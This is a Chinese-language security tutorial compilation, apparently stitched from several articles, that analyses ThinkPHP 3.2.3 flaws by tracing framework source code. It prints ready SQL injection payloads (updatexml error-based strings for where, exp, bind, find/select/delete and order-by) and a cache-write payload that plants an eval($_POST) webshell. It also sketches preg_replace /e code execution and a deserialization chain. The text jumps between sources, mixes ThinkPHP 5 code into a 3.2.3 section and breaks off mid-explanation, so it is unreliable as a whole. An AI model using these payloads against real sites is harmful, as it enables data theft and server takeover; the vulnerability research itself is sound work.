hinkPHP是一個快速、兼容而且簡單的輕量級國產PHP開發框架,可以支持Windows/Unix/Linux等服務器環境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多種數據庫以及PDO擴展。
網上關于ThinkPHP的漏洞分析文章有很多,今天分享的內容是 i 春秋論壇作者佳哥原創的文章。本文是作者在學習ThinkPHP3.2.3漏洞分析過程中的一次完整的記錄,非常適合初學者,文章未經許可禁止轉載!
注:i 春秋公眾號旨在為大家提供更多的學習方法與技能技巧,文章僅供學習參考。
where注入
在控制器中,寫個demo,利用字符串方式作為where傳參時存在注入。
public function getuser(){
$user = M('User')->where('id='.I('id'))->find();
dump($user);
}
在變量user地方進行斷點,PHPSTROM F7進入,I方法獲取傳入的參數。
switch(strtolower($method)) {
case 'get' :
$input =& $_GET;
break;
case 'post' :
$input =& $_POST;
break;
case 'put' :
if(is_null($_PUT)){
parse_str(file_get_contents('php://input'), $_PUT);
}
$input = $_PUT;
break;
case 'param' :
switch($_SERVER['REQUEST_METHOD']) {
case 'POST':
$input = $_POST;
break;
case 'PUT':
if(is_null($_PUT)){
parse_str(file_get_contents('php://input'), $_PUT);
}
$input = $_PUT;
break;
default:
$input = $_GET;
}
break;
......
重點看過濾函數
先利用htmlspecialchars函數過濾參數,在第402行,利用think_filter函數過濾常規sql函數。
function think_filter(&$value){
// TODO 其他安全過濾
// 過濾查詢特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
$value .= ' ';
}
}
在where方法中,將$where的值放入到options["where"]數組中。
繼續跟進查看find方法,第748行。
$options = $this->_parseOptions($options);
在數組$options中增加
'table'=>'tp_user','model'=>'User',隨后F7跟進select方法。
public function select($options=array()) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$sql = $this->buildSelectSql($options);
$result = $this->query($sql,!empty($options['fetch_sql']) ? true : false);
return $result;
}
跟進buildSelectSql方法,繼續在跟進parseSql方法,這里可以看到生成完整的sql語句。
這里主要查看parseWhere方法
跟進parseThinkWhere方法
protected function parseThinkWhere($key,$val) {
$whereStr = '';
switch($key) {
case '_string':
// 字符串模式查詢條件
$whereStr = $val;
break;
case '_complex':
// 復合查詢條件
$whereStr = substr($this->parseWhere($val),6);
break;
$key為_string,所以$whereStr為傳入的參數的值,最后parserWhere方法返回(id=1p),所以最終payload為:
1) and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)--+
exp注入
漏洞demo,這里使用全局數組進行傳參(不要用I方法),漏洞才能生效。
public function getuser(){
$User = D('User');
$map = array('id' => $_GET['id']);
$user = $User->where($map)->find();
dump($user);
}
直接在$user進行斷點,F7跟進,跳過where方法,跟進
find->select->buildSelectSql->parseSql->parseWhere
跟進parseWhereItem方法,此時參數$val為一個數組,{‘exp’,‘sql注入exp’}
此時當$exp滿足exp時,將參數和值就行拼接,所以最終paylaod為:
id[0]=exp&id[1]==1 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))--+
上面至于為什么不能用I方法,原因是在過濾函數think_filter中能匹配到exp字符,所以在exp字符后面加了一個空格,導致在parseWhereItem方法中無法等于exp。
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value))
bind注入
漏洞demo
public function getuser(){
$data['id'] = I('id');
$uname['username'] = I('username');
$user = M('User')->where($data)->save($uname);
dump($user);
}
F8跟進save方法
生成sql語句在update方法中:
public function update($data,$options) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
$sql = 'UPDATE ' . $table . $this->parseSet($data);
if(strpos($table,',')){// 多表更新支持JOIN操作
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,',')){
// 單表更新支持order和lmit
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}
在parseSet方法中,可以將傳入的參數替換成:0。
在bindParam方法中,$this->bind屬性返回array(':0'=>參數值)。
protected function bindParam($name,$value){
$this->bind[':'.$name] = $value;
}
繼續跟進parseWhere->parseWhereItem方法,當exp為bind時,就會在參數值前面加個冒號(:)。
由于在sql語句中有冒號,繼續跟進excute方法,這里將:0替換成了第二個參數的值。
所以最終的payload為:
id[0]=bind&id[1]=0 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))&username=fanxing
find/select/delete注入
先分析find注入,在控制器中寫個漏洞demo。
public function getuser(){
$user = M('User')->find(I('id'));
dump($user);
}
當傳入id[where]=1p時候,在user進行斷點,F7跟進find->_parseOptions方法:
$options['where']為字符串,導致不能執行_parseType方法轉化數據,進行跟進select->buildSelectSql->parseSql->parseWhere方法,傳入的$where為字符串,直接執行了if語句。
protected function parseWhere($where) {
$whereStr = '';
if(is_string($where)) {
// 直接使用字符串條件
$whereStr = $where;
......
}
return empty($whereStr)?'':' WHERE '.$whereStr;
當傳入id=1p,就不能進行注入了,具體原因在find->_parseOptions->_parseType方法,將傳入的參數進行了強轉化為整形。
所以,payload為:
?id[where]=1 and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)
select和delete原理同find方法一樣,只是delete方法多增加了一個判斷是否為空。
if(empty($options['where'])){
// 如果條件為空 不進行刪除操作 除非設置 1=1
return false;
}
if(is_array($options['where']) && isset($options['where'][$pk])){
$pkValue = $options['where'][$pk];
}
if(false === $this->_before_delete($options)) {
return false;
}
order by注入
先在控制器中寫個漏洞demo
public function user(){
$data['username'] = array('eq','admin');
$user = M('User')->where($data)->order(I('order'))->find();
dump($user);
}
在user變量處斷點,F7跟進,find->select->buildSelectSql->parseSql方法。
$this->parseOrder(!empty($options['order'])?$options['order']:''),
當$options['order']參數參在時,跟進parseOrder方法。
當不為數組時,直接返回order by + 注入pyload,所以注入payload為:
order=id and(updatexml(1,concat(0x7e,(select user())),0))
緩存漏洞
在ThinkPHP3.2中,緩存函數有F方法和S方法,兩個方法有什么區別呢,官方介紹如下:
這里F方法就不介紹了,直接看S方法。
public function test(){
S('name',I('test'));
}
跟進查看S方法
set方法寫入緩存
跟進filename方法,此方法獲取寫入文件的路徑,保存在
../Application/Runtime/Temp目錄下
private function filename($name) {
$name = md5(C('DATA_CACHE_KEY').$name);
if(C('DATA_CACHE_SUBDIR')) {
// 使用子目錄
$dir ='';
for($i=0;$i<C('DATA_PATH_LEVEL');$i++) {
$dir .= $name{$i}.'/';
}
if(!is_dir($this->options['temp'].$dir)) {
mkdir($this->options['temp'].$dir,0755,true);
}
$filename = $dir.$this->options['prefix'].$name.'.php';
}else{
$filename = $this->options['prefix'].$name.'.php';
}
return $this->options['temp'].$filename;
}
并將S傳入的name進行md5值作為文件名,最終通過file_put_contents函數寫入文件。
以上是今天分享的內容,大家看懂了嗎?記得要實際動手練習一下,才能加深印象哦~
迎搜索公眾號:白帽子左一
每天分享更多黑客技能,工具及體系化視頻教程
概述
網站為了提高訪問效率往往會將用戶訪問過的頁面存入緩存來減少開銷。
而Thinkphp 在使用緩存的時候是將數據序列化,然后存進一個 php 文件中,這使得命令執行等行為成為可能。
就是緩存函數設計不嚴格,導致攻擊者可以插入惡意代碼,直接getshell。
redhat6+apache2+Mysql+php5+thinkphp3.2.3
將 application/index/controller/Index.php 文件中代碼更改如下:
<?php
namespace app\index\controller;
use think\Cache;
class Index
{
public function index()
{
Cache::set("name",input("get.username"));
return 'Cache success';
}
}
訪問 http://localhost/tpdemo/public/?username=xxx%0d%0aphpinfo();//, 即可將 webshell 等寫入緩存文件。
先找到Cache.class.php文件,也就是緩存文件,關鍵代碼:
/**
* 連接緩存
* @access public
* @param string $type 緩存類型
* @param array $options 配置數組
* @return object
*/
public function connect($type='',$options=array()) {
if(empty($type)) $type = C('DATA_CACHE_TYPE');
$class = strpos($type,'\\')? $type : 'Think\\Cache\\Driver\\'.ucwords(strtolower($type));
if(class_exists($class))
$cache = new $class($options);
else
E(L('_CACHE_TYPE_INVALID_').':'.$type);
return $cache;
這里讀入配置,獲取實例化的一個類的路徑,路徑是:Think\Cache\Driver\
這里我嘗試了var_dump($class)和echo $class直接瀏覽器訪問Cache.class.php都無法像那篇帖子一樣打印出$class,后來才發現添加數據寫入緩存頁面跳轉才打印了Think\Cache\Driver\File。
關鍵代碼:
/**
* 取得緩存類實例
* @static
* @access public
* @return mixed
*/
static function getInstance($type='',$options=array()) {
static $_instance = array();
$guid = $type.to_guid_string($options);
if(!isset($_instance[$guid])){
$obj = new Cache();
$_instance[$guid] = $obj->connect($type,$options);
}
return $_instance[$guid];
}
public function __get($name) {
return $this->get($name);
}
public function __set($name,$value) {
return $this->set($name,$value);
}
public function __unset($name) {
$this->rm($name);
}
public function setOptions($name,$value) {
$this->options[$name] = $value;
}
public function getOptions($name) {
return $this->options[$name];
}
這里實例化了那個類,我們重點關注set方法,接著直接找到這個路徑下的File.class.php吧。
關鍵代碼:
public function set($name,$value,$expire=null) {
N('cache_write',1);
if(is_null($expire)) {
$expire = $this->options['expire'];
}
$filename = $this->filename($name);
$data = serialize($value);
if( C('DATA_CACHE_COMPRESS') && function_exists('gzcompress')) {
//數據壓縮
$data = gzcompress($data,3);
}
if(C('DATA_CACHE_CHECK')) {//開啟數據校驗
$check = md5($data);
}else {
$check = '';
}
$data = "<?php\n//".sprintf('%012d',$expire).$check.$data."\n?>";
$result = file_put_contents($filename,$data);
if($result) {
if($this->options['length']>0) {
// 記錄緩存隊列
$this->queue($name);
}
clearstatcache();
return true;
}else {
return false;
}
}
這就是寫入緩存的set方法,對傳入的數據進行了序列化和壓縮,
重點看這兩句:
$data = “<?php\n//”.sprintf(‘%012d’,$expire).$check.$data.”\n?>”;
$result = file_put_contents($filename,$data);
簡單拼接一下就寫入文件了,Bug就出現在這里,這時來看看我們
payload:
%0D%0Aeval(%24_POST%5b%27tpc%27%5d)%3b%2f%2f
解碼后就是:
換行+eval(%_POST[‘tpc’]);//
就寫入惡意代碼了。
最后看看文件名:
/**
* 取得變量的存儲文件名
* @access private
* @param string $name 緩存變量名
* @return string
*/
private function filename($name) {
$name = md5(C('DATA_CACHE_KEY').$name);
if(C('DATA_CACHE_SUBDIR')) {
// 使用子目錄
$dir ='';
for($i=0;$i<C('DATA_PATH_LEVEL');$i++) {
$dir .= $name{$i}.'/';
}
if(!is_dir($this->options['temp'].$dir)) {
mkdir($this->options['temp'].$dir,0755,true);
}
$filename = $dir.$this->options['prefix'].$name.'.php';
}else{
$filename = $this->options['prefix'].$name.'.php';
}
return $this->options['temp'].$filename;
}
文件名就是md5加密值。
影響版本:Thinkphp 2.x、3.0-3.1
$depr = '\/';
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
這段代碼主要就是用explode把url拆開,然后再用implode函數拼接起來,接著帶入到preg_replace里面。
preg_replace的/e模式,和php雙引號都能導致代碼執行的。
這句正則簡化后就是 /(\w+)\/([^\/\/]+)/e
注:\w+ 表示匹配任意長的[字母數字下劃線]字符串,然后匹配 / 符號,再匹配除了/符號以外的字符。其實就是匹配連續的兩個參數。
eg:www.dawn.com/index.php?s=1/2/3/4/5/6
每次匹配 1和2,3和4,5和6。、
是取第一個括號里的匹配結果,是取第二個括號里的匹配結果
也就是 取的是 1 3 5, 取的是 2 4 6。
那么就是連續的兩個參數,一個被當成鍵名,一個被當成鍵值,傳進了var數組里面。
而雙引號是存在在 外面的,那么就說明我們要控制的是偶數位的參數。
環境較為難找,本地模擬一下
本地模擬:
<?php
$var = array();
preg_replace("/(\w+)\/([^\/\/]+)/ie",'$var[\'\\1\']="\\2";',$_GET[s]);
?>
thinkphp是國內著名的php開發框架,有完善的開發文檔,基于MVC架構,
其中Thinkphp3.2.3是目前使用最廣泛的thinkphp版本,雖然已經停止新功能的開發,但是普及度高于新出的thinkphp5系列
由于框架實現安全數據庫過程中在update更新數據的過程中存在SQL語句的拼接,并且當傳入數組未過濾時導致出現了SQL注入。
thinkphp系列框架過濾表達式注入多半采用I函數去調用think_filter
function think_filter(&$value){
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value))
一般按照官方的寫法,thinkphp提供了數據庫鏈式操作,其中包含連貫操作和curd操作。
在進行數據庫CURD操作去更新數據的時候,利用update數據操作。
where來制定主鍵的數值,save方法去更新變量傳進來的參數到數據庫的指定位置。
public function where($where,$parse=null){
if(!is_null($parse) && is_string($where)) {
if(!is_array($parse)) {
$parse = func_get_args();
array_shift($parse);
}
$parse = array_map(array($this->db,'escapeString'),$parse);
$where = vsprintf($where,$parse);
}elseif(is_object($where)){
$where = get_object_vars($where);
}
if(is_string($where) && '' != $where){
$map = array();
$map['_string'] = $where;
$where = $map;
}
if(isset($this->options['where'])){
$this->options['where'] = array_merge($this->options['where'],$where);
}else{
$this->options['where'] = $where;
}
return $this;
}
通過where方法獲取where()鏈式中進來的參數值,并對參數進行檢查,是否為字符串,tp框架默認是對字符串進行過濾的。
public function save($data='',$options=array()) {
if(empty($data)) {
// 沒有傳遞數據,獲取當前數據對象的值
if(!empty($this->data)) {
$data = $this->data;
// 重置數據
$this->data = array();
}else{
$this->error = L('_DATA_TYPE_INVALID_');
return false;
}
}
// 數據處理
$data = $this->_facade($data);
if(empty($data)){
// 沒有數據則不執行
$this->error = L('_DATA_TYPE_INVALID_');
return false;
}
// 分析表達式
$options = $this->_parseOptions($options);
$pk = $this->getPk();
if(!isset($options['where']) ) {
// 如果存在主鍵數據 則自動作為更新條件
if (is_string($pk) && isset($data[$pk])) {
$where[$pk] = $data[$pk];
unset($data[$pk]);
} elseif (is_array($pk)) {
// 增加復合主鍵支持
foreach ($pk as $field) {
if(isset($data[$field])) {
$where[$field] = $data[$field];
} else {
// 如果缺少復合主鍵數據則不執行
$this->error = L('_OPERATION_WRONG_');
return false;
}
unset($data[$field]);
}
}
if(!isset($where)){
// 如果沒有任何更新條件則不執行
$this->error = L('_OPERATION_WRONG_');
return false;
}else{
$options['where'] = $where;
}
}
if(is_array($options['where']) && isset($options['where'][$pk])){
$pkValue = $options['where'][$pk];
}
if(false === $this->_before_update($data,$options)) {
return false;
}
$result = $this->db->update($data,$options);
if(false !== $result && is_numeric($result)) {
if(isset($pkValue)) $data[$pk] = $pkValue;
$this->_after_update($data,$options);
}
return $result;
}
再來到save方法,通過前面的數據處理解析服務端數據庫中的數據字段信息,字段數據類型,再到_parseOptions 表達式分析,獲取到表名,數據表別名,記錄操作的模型名稱,再去調用回調函數進入update。
我們這里可以直接看框架的where子函數,之前網上公開的exp表達式注入就是從這里分析出來的結論:Thinkphp/Library/Think/Db/Driver.class.php
// where子單元分析
protected function parseWhereItem($key,$val) {
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
$exp = strtolower($val[0]);
if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比較運算
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
}elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找
if(is_array($val[1])) {
$likeLogic = isset($val[2])?strtoupper($val[2]):'OR';
if(in_array($likeLogic,array('AND','OR','XOR'))){
$like = array();
foreach ($val[1] as $item){
$like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);
}
$whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';
}
}else{
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
}
}elseif('bind' == $exp ){ // 使用表達式
$whereStr .= $key.' = :'.$val[1];
}elseif('exp' == $exp ){ // 使用表達式
$whereStr .= $key.' '.$val[1];
}elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 運算
if(isset($val[2]) && 'exp'==$val[2]) {
$whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];
}else{
if(is_string($val[1])) {
$val[1] = explode(',',$val[1]);
}
$zone = implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';
}
}elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN運算
$data = is_string($val[1])? explode(',',$val[1]):$val[1];
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
}else{
E(L('_EXPRESS_ERROR_').':'.$val[0]);
}
}else {
$count = count($val);
$rule = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ;
if(in_array($rule,array('AND','OR','XOR'))) {
$count = $count -1;
}else{
$rule = 'AND';
}
for($i=0;$i<$count;$i++) {
$data = is_array($val[$i])?$val[$i][1]:$val[$i];
if('exp'==strtolower($val[$i][0])) {
$whereStr .= $key.' '.$data.' '.$rule.' ';
}else{
$whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';
}
}
$whereStr = '( '.substr($whereStr,0,-4).' )';
}
}else {
//對字符串類型字段采用模糊匹配
$likeFields = $this->config['db_like_fields'];
if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {
$whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');
}else {
$whereStr .= $key.' = '.$this->parseValue($val);
}
}
return $whereStr;
}
其中除了exp能利用外還有一處bind,而bind可以完美避開了think_filter:
elseif('bind' == $exp ){ // 使用表達式
$whereStr .= $key.' = :'.$val[1];
}elseif('exp' == $exp ){ // 使用表達式
$whereStr .= $key.' '.$val[1];
這里由于拼接了$val參數的形式造成了注入,但是這里的bind表達式會引入:符號參數綁定的形式去拼接數據,通過白盒對幾處CURD操作函數進行分析定位到update函數,insert函數會造成sql注入,于是回到上面的update函數。
Thinkphp/Library/Think/Db/Driver.class.php
/**
* 更新記錄
* @access public
* @param mixed $data 數據
* @param array $options 表達式
* @return false | integer
*/
public function update($data,$options) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
$sql = 'UPDATE ' . $table . $this->parseSet($data);
if(strpos($table,',')){// 多表更新支持JOIN操作
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,',')){
// 單表更新支持order和lmit
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}
可以繼續跟進execute函數。
public function execute($str,$fetchSql=false) {
$this->initConnect(true);
if ( !$this->_linkID ) return false;
$this->queryStr = $str;
if(!empty($this->bind)){
$that = $this;
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; },$this->bind));
}
if($fetchSql){
return $this->queryStr;
}
這里有處對$this->queryStr進行字符替換的操作,具體是怎么更新的,我們可以進一步操作一下。
Application/Home/Controller/UserController.class.php
<?php
namespace HomeController;
use ThinkController;
class UserController extends Controller {
public function index(){
$User = M("member");
$user['id'] = I('id');
$data['money'] = I('money');
$data['user'] = I('user');
$valu = $User->where($user)->save($data);
var_dump($valu);
}
}
通過這個代碼,根據進來的id更新用戶的名字和錢,構造一個簡單一個poc:
id[]=bind&id[]=1’&money[]=1123&user=liao 當走到execute函數時sql語句為
UPDATE `member` SET `user`=:0 WHERE `id` = :1'
然后$that = $this。
接下來下面的替換操作是將”:0”替換為外部傳進來的字符串,這里就可控了。
替換后的語句就會發現之前的user參數為:0
然后被替換為了我們傳進來的東西(liao),這樣就把:替換掉了。
替換后的語句:
UPDATE 'member' SET 'user'='liao' WHERE 'id' = :1'
但是id后面的 :1 是替換不掉的。
那么我們將id[1]數組的參數變為0嘗試一下。
測試代碼
<?php
namespace HomeController;
use ThinkController;
class UserController extends Controller {
public function index(){
$User = M("member");
$user['id'] = I('id');
$data['money'] = I('money');
$data['user'] = I('user');
$valu = $User->where($user)->save($data);
var_dump($valu);
}
}
Poc:id[]=bind&id[]=0%27&money[]=1123&user=liao
這樣就造成了注入。繼續構造poc。
money[]=1123&user=liao&id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))
select 和 find 函數
以find函數為例進行分析(select代碼類似),該函數可接受一個$options參數,作為查詢數據的條件。
當$options為數字或者字符串類型的時候,直接指定當前查詢表的主鍵作為查詢字段:
if (is_numeric($options) || is_string($options)) {
$where[$this->getPk()] = $options;
$options = array();
$options['where'] = $where;
}
同時提供了對復合主鍵的查詢,看到判斷:
if (is_array($options) && (count($options) > 0) && is_array($pk)) {
// 根據復合主鍵查詢
......
}
要進入復合主鍵查詢代碼,需要滿足$options為數組同時$pk主鍵也要為數組,但這個對于表只設置一個主鍵的時候不成立。
那么就可以使$options為數組,同時找到一個表只有一個主鍵,就可以繞過兩次判斷,直接進入_parseOptions 進行解析。
if (is_numeric($options) || is_string($options)) {//$options為數組不進入
$where[$this->getPk()] = $options;
$options = array();
$options['where'] = $where;
}
// 根據復合主鍵查找記錄
$pk = $this->getPk();
if (is_array($options) && (count($options) > 0) &&
is_array($pk)) { //$pk不為數組不進入
......
}
// 總是查找一條記錄
$options['limit'] = 1;
// 分析表達式
$options = $this->_parseOptions($options); //解析表達式
// 判斷查詢緩存
.....
$resultSet = $this->db->select($options); //底層執行
之后跟進_parseOptions方法,(分析見代碼注釋)
if (is_array($options)) { //當$options為數組的時候與$this->options數組進行整合
$options = array_merge($this->options, $options);
}
if (!isset($options['table'])) {//判斷是否設置了table 沒設置進這里
// 自動獲取表名
$options['table'] = $this->getTableName();
$fields = $this->fields;
} else {
// 指定數據表 則重新獲取字段列表 但不支持類型檢測
$fields = $this->getDbFields(); //設置了進這里
}
// 數據表別名
if (!empty($options['alias'])) {//判斷是否設置了數據表別名
$options['table'] .= ' ' . $options['alias']; //注意這里,直接拼接了
}
// 記錄操作的模型名稱
$options['model'] = $this->name;
// 字段類型驗證
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) { //讓$optison['where']不為數組或沒有設置不進這里
// 對數組查詢條件進行字段類型檢查
......
}
// 查詢過后清空sql表達式組裝 避免影響下次查詢
$this->options = array();
// 表達式過濾
$this->_options_filter($options);
return $options;
$options我們可控,那么就可以控制為數組類型,傳入$options[‘table’]或$options[‘alias’]等等,只要提層不進行過濾都是可行的。
同時我們可以不設置$options[‘where’]或者設置$options[‘where’]的值為字符串,可繞過字段類型的驗證。
可以看到在整個對$options的解析中沒有過濾,直接返回,跟進到底層ThinkPHP\Libray\Think\Db\Diver.class.php,找到select方法,繼續跟進最后來到parseSql方法,對$options的值進行替換,解析。
因為$options[‘table’]或$options[‘alias’]都是由parseTable函數進行解析,跟進:
if (is_array($tables)) {//為數組進
// 支持別名定義
......
} elseif (is_string($tables)) {//不為數組進
$tables = array_map(array($this, 'parseKey'), explode(',', $tables));
}
return implode(',', $tables);
當我們傳入的值不為數組,直接進行解析返回帶進查詢,沒有任何過濾。
同時$options[‘where’]也一樣,看到parseWhere函數
$whereStr = '';
if (is_string($where)) {
// 直接使用字符串條件
$whereStr = $where; //直接返回了,沒有任何過濾
} else {
// 使用數組表達式
......
}
return empty($whereStr) ? '' : ' WHERE ' . $whereStr;
delete 函數有些不同,主要是在解析完$options之后,還對$options[‘where’]判斷了一下是否為空,需要我們傳一下值,使之不為空,從而繼續執行刪除操作。
// 分析表達式
$options = $this->_parseOptions($options);
if (empty($options['where'])) { //注意這里,還判斷了一下$options['where']是否為空,為空直接返回,不再執行下面的代碼。
// 如果條件為空 不進行刪除操作 除非設置 1=1
return false;
}
if (is_array($options['where']) && isset($options['where'][$pk])) {
$pkValue = $options['where'][$pk];
}
if (false === $this->_before_delete($options)) {
return false;
}
$result = $this->db->delete($options);
if (false !== $result && is_numeric($result)) {
$data = array();
if (isset($pkValue)) {
$data[$pk] = $pkValue;
}
$this->_after_delete($data, $options);
}
// 返回刪除記錄個數
return $result;
下載地址:http://www.thinkphp.cn/download/610.html
自己配置一下數據庫路徑:
test_thinkphp_3.2.3\Application\Common\Conf\config.php
自己安裝,安裝完以后訪問一下:
http://127.0.0.1/thinkphp_3.2.3/index.php/Home/Index/index
沒有報錯就可以了。
開啟debug 方便本地測試
路徑:test_thinkphp_3.2.3\index.php
路徑:test_thinkphp_3.2.3\Application\Common\Conf\config.php
3處注入利用方法都是一樣的,所以就演示一個 find 注入
Select 與 delete 注入同理
http://127.0.0.1/thinkphp_3.2.3/index.php/Home/Index/testSqlFind?test=3
http://127.0.0.1/thinkphp_3.2.3/index.php/Home/Index/testSqlFind?test=3%27aaa
明顯轉成整型,無法進行注入了。
http://127.0.0.1/thinkphp_3.2.3/index.php/Home/Index/testSqlFind?test[where]=3
這樣就可以直接控制where了。
http://127.0.0.1/thinkphp_3.2.3/index.php/Home/Index/testSqlFind?test[where]=3%27
ThinkPHP在處理order by排序時,當排序參數可控且為關聯數組(key-value)時,
由于框架未對數組中key值作安全過濾處理,攻擊者可利用key構造SQL語句進行注入,該漏洞影響ThinkPHP 3.2.3、5.1.22及以下版本。
ThinkPHP3.2.3漏洞代碼(/Library/Think/Db/Driver.class.php):
從上面漏洞代碼可以看出,當$field參數為關聯數組(key-value)時,key值拼接到返回值中,SQL語句最終繞過了框架安全過濾得以執行。
測試代碼
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller{
public function index(){
$data=array();
$data['username']=array('eq','admin');
$order=I('get.order');
$m=M('user')->where($data)->order($order)->find();
dump($m);
}
}
構造poc:?order[updatexml(1,concat(0x3e,user()),1)]=1
EXP表達式支持SQL語法查詢 sql注入非常容易產生。
$map['id'] = array('in','1,3,8');
可以改成:
$map['id'] = array('exp',' IN (1,3,8) ');
exp查詢的條件不會被當成字符串,所以后面的查詢條件可以使用任何SQL支持的語法,包括使用函數和字段名稱。
查詢表達式不僅可用于查詢條件,也可以用于數據更新。
$User = M("User"); // 實例化User對象
// 要修改的數據對象屬性賦值
$data['name'] = 'ThinkPHP';
$data['score'] = array('exp','score+1');// 用戶的積分加1
$User->where('id=5')->save($data); // 根據條件保存修改的數據
表達式查詢
跟到\ThinkPHP\Library\Think\Db\Driver.class.php 504行
foreach ($where as $key=>$val){
if(is_numeric($key)){
$key = '_complex';
}
if(0===strpos($key,'_')) {
// 解析特殊條件表達式
$whereStr .= $this->parseThinkWhere($key,$val);
}else{
// 查詢字段的安全過濾
// if(!preg_match('/^[A-Z_\|\&\-.a-z0-9\(\)\,]+$/',trim($key))){
// E(L('_EXPRESS_ERROR_').':'.$key);
// }
// 多條件支持
$multi = is_array($val) && isset($val['_multi']);
$key = trim($key);
if(strpos($key,'|')) { // 支持 name|title|nickname 方式定義查詢字段
$array = explode('|',$key);
$str = array();
parseSQl組裝 替換表達式:
parseKey()
protected function parseKey(&$key) {
$key = trim($key);
if(!is_numeric($key) && !preg_match('/[,\'\"\*\(\)`.\s]/',$key)) {
$key = '`'.$key.'`';
}
return $key;
}
filter_exp
function filter_exp(&$value){
if (in_array(strtolower($value),array('exp','or'))){
$value .= ' ';
}
}
I函數中重點代碼:
// 取值操作
$data = $input[$name];
is_array($data) && array_walk_recursive($data,'filter_exp');
$filters = isset($filter)?$filter:C('DEFAULT_FILTER');
if($filters) {
if(is_string($filters)){
$filters = explode(',',$filters);
}elseif(is_int($filters))
$filters = array($filters);
}
foreach($filters as $filter){
if(function_exists($filter)) {
$data = is_array($data)?array_map_recursive($filter,$data):$filter($data); // 參數過濾
}else{
$data = filter_var($data,is_int($filter)?$filter:filter_id($filter));
if(false === $data) {
return isset($default)?$default:NULL;
}
}
}
}
}else{ // 變量默認值
$data = isset($default)?$default:NULL;
}
那么可以看到這里是沒有任何有效的過濾的 即時是filter_exp,如果寫的是
filter_exp在I函數的fiter之前,所以如果開發者這樣寫I(‘get.id’, ‘’, ‘trim’),那么會直接清除掉exp后面的空格,導致過濾無效。
返回:
}else {
$whereStr .= $key.' = '.$this->parseValue($val);
}
}
return $whereStr;
直接在IndexController.class.php中創建一個測試代碼
public function index(){
$map=array();
$map['id']=$_GET['id'];
$data=M('users')->where($map)->find();
dump($data);
}
數據庫配置:
Poc:
?id[0]=exp&id[1]==updatexml(0,concat(0x0e,user(),0x0e),0)
首先全局搜索 destruct, 這里的 $this->img 可控,可以利用其來調用 其他類的destroy() 方法,或者可以用的call() 方法,__call() 方法并沒有可以利用的
那就去找 destroy() 方法。
注意這里,destroy() 是有參數的,而我們調用的時候沒有傳參,這在php5中是可以的,只發出警告,但還是會執行。
但是在php7 里面就會報出錯誤,不會執行。
所以漏洞需要用php5的環境。
繼續尋找可利用的delete()方法。
在Think\Model類即其繼承類里,可以找到這個方法,還有數據庫驅動類中也有這個方法的,thinkphp3的數據庫模型類的最終是會調用到數據庫驅動類中的。
先看Model類中。
還需要注意這里!!如果沒有 $options[‘where’] 會直接return掉。
跟進 getPK() 方法
$pk 可控 $this->data 可控 。
最終去驅動類的入口在這里
下面是驅動類的delete方法
我們在一開始調用Model類的delete方法的時候,傳入的參數是
$this->sessionName.$sessID
